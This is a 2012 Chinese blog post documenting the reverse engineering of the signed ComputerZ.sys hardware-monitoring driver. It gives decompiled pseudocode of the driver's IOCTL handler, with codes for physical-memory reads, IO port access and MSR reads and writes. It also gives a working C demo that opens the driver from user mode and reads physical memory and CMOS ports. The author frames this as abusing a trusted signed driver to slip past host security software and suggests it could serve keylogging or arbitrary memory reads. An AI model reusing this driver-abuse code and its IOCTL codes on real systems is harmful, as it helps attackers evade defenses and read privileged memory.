貌似有半年没写博文了...来一篇除草... Naylon 2012.3.4 http://hi.baidu.com/naylonslain 转载请注明出处
最近拜读了王爽老师的《汇编语言》,学到了不少东西,终于能勉强逆点简单的小程序了。于是想到了Extreme神犇很早以前提出的这个点子:调用带正规签名的驱动来干坏事- - 鲁大师有正规数字签名,所以它的驱动加载时不会被主防报警,而鲁大师驱动里也没有验证调用者,所以可以利用~ 灵感来自Extreme神犇~以前ASM完全不懂,用IDA只会F5,一看IoDispatchControl就苦逼了,所以一直搞不定(F5的话,SystemBuffer显示成一个什么.Type,完全驴唇不对马嘴,可怕- -||)
于是逆了ComputerZ.sys 一开始我直接拿安装的旧版逆,结果基本接口搞得差不多了之后发现新版的360硬件大师驱动更新了= =旧的没用了。。而内部实现也有变化然后苦逼了,又下了个新的360硬件大师 果然360还是考虑得周到些,加入了SeTokenIsAdmin权限验证,调用Function时对参数的检查也严格了些,不过还是没有验证调用者XD 最后鼓捣鼓捣还是成功了 下面是我逆出的伪码(为啥说是伪码呢?因为我就是边看反汇编边翻译。。只逆了一些关键的接口,没除错,编译不能,所以只能用来看看思路,说是C代码有点对不起观众- -|| 逆得很挫,大牛见笑了。。):
#include <ntddk.h>
BOOLEAN read_port_uchar(USHORT usPort, PULONG buffer) { if (!is_port_legal(usPort)) { return FALSE; } _asm { in buffer,usPort } return TRUE; } BOOLEAN read_physical_address_by_uchar(PHYSICAL_ADDRESS PhyAddr) { PUCHAR Register = MmMapIoSpace(PhyAddr.LowPart, 0, 4, 0); if (Register == NULL) { return FALSE; } READ_REGISTER_BUFFER_UCHAR(Register, &PhyAddr.HighPart, 4); MmUnmapIoSpace(Register, 4); return TRUE; } BOOLEAN read_physical_address_by_ulong(PHYSICAL_ADDRESS PhyAddr, ULONG NumberOfBytes) { PULONG Register = MmMapIoSpace(PhyAddr.LowPart, 0, NumberOfBytes, 0); if (Register == NULL) { return FALSE; } READ_REGISTER_BUFFER_ULONG(Register, &PhyAddr.HighPart, NumberOfBytes / 4); MmUnmapIoSpace(Register, NumberOfBytes); return TRUE; } NTSTATUS __stdcall DispatchIoControl(int DeviceObject, PIRP Irp) { NTSTATUS ulReturn = STATUS_SUCCESS; PIO_STACK_LOCATION IrpSp = Irp->Tail.Overlay.CurrentStackLocation; if (IrpSp->MajorFunction != IRP_MJ_CREATE && IrpSp->MajorFunction != IRP_MJ_CLOSE) { if (IrpSp->MajorFunction == IRP_MJ_DEVICE_CONTROL) { if (!check_admin_token()) { // 验证administrator权限 ulReturn = 0xC0000022; goto skip; } PVOID pSystemBuffer = pIrp->SystemBuffer; if (pSystemBuffer == 0) { ulReturn = 0xC000000D; goto skip; } //esi = pIrp->SystemBuffer; //edi = IrpSp ULONG port_data_buffer; switch (IrpSp->IoControlCode) { // ...... case 0xF10024C0: { //rdmsr break; } case 0xF10024C4: { //wrmsr break; } case 0xF1002500: { //read_physical_address_uchar // 如前文所说,这句判断就是新版驱动里360加的 if (IrpSp->InputBufferLength < 12) { ulReturn = 0xC00000EF; goto skip; } if (IrpSp->OutputBufferLength >= pReadBuffer->Length) { //ecx = *pReadBuffer->Address; read_physical_address_uchar((ULONG*)pSystemBuffer, (UCHAR*)four_bytes_buffer); *(ULONG*)pSystemBuffer = *(ULONG*)four_bytes_buffer; } else { ulReturn = 0xC0000206; goto skip } break; } case 0xF1002508: { //loc_109D6 -> read_physical_address if (IrpSp->InputBufferLength < 12) { ulReturn = 0xC00000EF; goto skip; } if (IrpSp->OutputBufferLength >= pReadBuffer->Length) { // 虽然传过去的是PHYSICAL_ADDRESS结构,不过实际上HighPart是作为缓冲区地址的,即pSystemBuffer,没有考虑4GB以上物理内存 PHYSICAL_ADDRESS PhyAddr; PhyAddr.LowPart = *(ULONG*)pSystemBuffer; // address PhyAddr.HighPart = (ULONG*)pSystemBuffer; // buffer read_physical_address(PhyAddr, *(ULONG*)(pSystemBuffer + 4)); } else { ulReturn = 0xC0000206; goto skip } break; } case 0xF1002540: { //read_io_port_uchar if (IrpSp->InputBufferLength < 12 || IrpSp->OutputBufferLength < 12 ) { ulReturn = 0xC00000EF; goto skip; } read_port_uchar(*(USHORT*)SystemBuffer, &port_data_buffer); *(ULONG*)SystemBuffer = port_data_buffer; *(ULONG*)(SystemBuffer + 4) = 0; *(ULONG*)(SystemBuffer + 8) = ulReturn; break; } case 0xF1002544: { //write_io_port_uchar if (IrpSp->InputBufferLength < 12 || IrpSp->OutputBufferLength < 12 ) { ulReturn = 0xC00000EF; goto skip; } port_data_buffer = *(PUCHAR*)(pSystemBuffer + 4); BOOLEAN bStatus = write_port_uchar(*(USHORT*)SystemBuffer, port_data_buffer); if (bStatus != TRUE) { ulReturn = 0xC00000EF; goto skip; } *(ULONG*)SystemBuffer = 0; *(ULONG*)(SystemBuffer + 4) = 0; *(ULONG*)(SystemBuffer + 8) = ulReturn; break; } case 0xF1002548: { //read_io_port_ushort break; } case 0xF100254C: { //write_io_port_ushort break; } case 0xF1002550: { //read_io_port_ulong break; } case 0xF1002554: { //write_io_port_ulong break; } case 0xF1002618: { //write_physical_address break; } // ...... casedefault: { ulReturn = 0xC0000010; if (IrpSp->InputBufferLength >= 12 && IrpSp->OutputBufferLength >= 12) { write_sub(*(PULONG*)SystemBuffer, *(PULONG*)(SystemBuffer + 4), *(PULONG*)(SystemBuffer + 8)); } //???????????????????????????????? } } } } skip: return ulReturn; } int __stdcall DriverEntry_Internal(PDRIVER_OBJECT DriverObject, int) { WCHAR SourceString[18] = L "\\Device\\ComputerZ"; UNICODE_STRING SymbolicLinkName; RtlInitUnicodeString(&SymbolicLinkName, SourceString); WCHAR DestinationChars[22] = L "DosDevices\ComputerZ"; UNICODE DestinationString; RtlInitUnicodeString(&DestinationString, DestinationChars); NTSTATUS Status = IoCreateDevice(DriverObject, 0, &DestinationString, 0xF100, 0, 0); if (NT_SUCCESS(Status)) { Status = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString); if (NT_SUCCESS(Status)) { DriverObject->MajorFunction[IRP_MJ_CREATE] = (PVOID)DispatchIoControl; DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = (PVOID)DispatchIoControl; DriverObject->DriverUnload = (PVOID)DriverUnload; } } return 0; } 跟标题搭边的大概也就这些了,read/write ioport uchar/ushort/ulong一共有六组,只翻译出来一个- -反正调用方式都差不多,内容也大同小异没啥新鲜的,所以懒了... 比较遗憾的是,这里面只有读内存的接口而没有写内存的(有一个写的但没有直接提供接口),所以只能读物理内存,不能写。反正我不作坏事。。。就是研究学习而已,也无所谓= =
大致看了代码之后,就可以写Demo测试了,我简单写了一段,用来演示读物理内存0x00处256个字节,读写IO端口实现从CMOS RAM里获得当前系统时间的 日/月/年 代码写得很丑,哎,感觉自己的编码规范不好,正在改!!
#include <stdio.h>
#include <stdlib.h> #include <windows.h> int main(void) { // 首先要打开驱动 HANDLE hDrvHandle = CreateFile( "\\\\.\\ComputerZ", GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); if (hDrvHandle == INVALID_HANDLE_VALUE) { printf( "Opening driver faild! \nPress any key to Exiting..."); getch(); return 0; } // 声明两个必要的变量 ULONG lDrvRetSize; PVOID buffer; // 从物理地址0x00处读入256字节 buffer = (PVOID)calloc(256, sizeof(UCHAR)); PUCHAR pMemBuf = (PUCHAR)buffer; *(PULONG)pMemBuf = 0x00; // 地址 *(PULONG)(pMemBuf + 4) = 256 * sizeof(UCHAR); // 长度 DeviceIoControl(hDrvHandle, 0xF1002508, pMemBuf, 256 * sizeof(UCHAR), pMemBuf, 256 * sizeof(UCHAR), &lDrvRetSize, 0); UINT i; for (i = 0; i < 256; i++) { printf( "%X ", pMemBuf[i]); } printf( "\n\nReading physical memory successful!\n"); getch(); // 通过读写0x71,0x70端口从CMOS内存中读取当前时间 buffer = realloc(buffer, 12); PULONG pPortBuf = (PULONG)buffer; // 日 pPortBuf[0] = 0x70; pPortBuf[1] = 7; DeviceIoControl(hDrvHandle, 0xF1002544, pPortBuf, 12, pPortBuf, 12, &lDrvRetSize, 0); pPortBuf[0] = 0x71; DeviceIoControl(hDrvHandle, 0xF1002540, pPortBuf, 12, pPortBuf, 12, &lDrvRetSize, 0); printf( "%ld\n", pPortBuf[0]); // 月 pPortBuf[0] = 0x70; pPortBuf[1] = 8; DeviceIoControl(hDrvHandle, 0xF1002544, pPortBuf, 12, pPortBuf, 12, &lDrvRetSize, 0); pPortBuf[0] = 0x71; DeviceIoControl(hDrvHandle, 0xF1002540, pPortBuf, 12, pPortBuf, 12, &lDrvRetSize, 0); printf( "%ld\n", pPortBuf[0]); // 年 pPortBuf[0] = 0x70; pPortBuf[1] = 9; DeviceIoControl(hDrvHandle, 0xF1002544, pPortBuf, 12, pPortBuf, 12, &lDrvRetSize, 0); pPortBuf[0] = 0x71; DeviceIoControl(hDrvHandle, 0xF1002540, pPortBuf, 12, pPortBuf, 12, &lDrvRetSize, 0); printf( "20%X\n", pPortBuf[0]); getch(); return 0; }
控制台输出(不贴图了。。): —————————————————————————————————————————— F3 EE 0 F0 F3 EE 0 F0 C3 E2 0 F0 F3 EE 0 F0 F3 EE 0 F0 54 FF 0 F0 84 7 0 F0 2C 7 —————————————————————————————————————————— 至于有啥用。。仁者见仁智者见智了。。 比如不嫌麻烦的话可以自己解析页表实现访问任意虚拟内存(笔者严重嫌麻烦- -!!!) IO读写可以用来做键盘记录,大名鼎鼎的WINIO就是这个原理,不过那个早被主防拉黑了。。
本来刚做出来感觉挺好的,不过跟某人一聊立刻就被鄙视了,泼了我一头凉水- - 好吧虽然思路是借鉴的,内容也不算颠覆,但我感觉自己在摸索的过程中学到了不少东西,这就是我最大的收获~ 感谢 Extreme的灵感 某人的一盆冷水 Naylon 2012.3.4 http://hi.baidu.com/naylonslain 转载请注明出处 |
"RING3"过主防读物理内存、读写IO端口
最新推荐文章于 2023-07-08 19:06:33 发布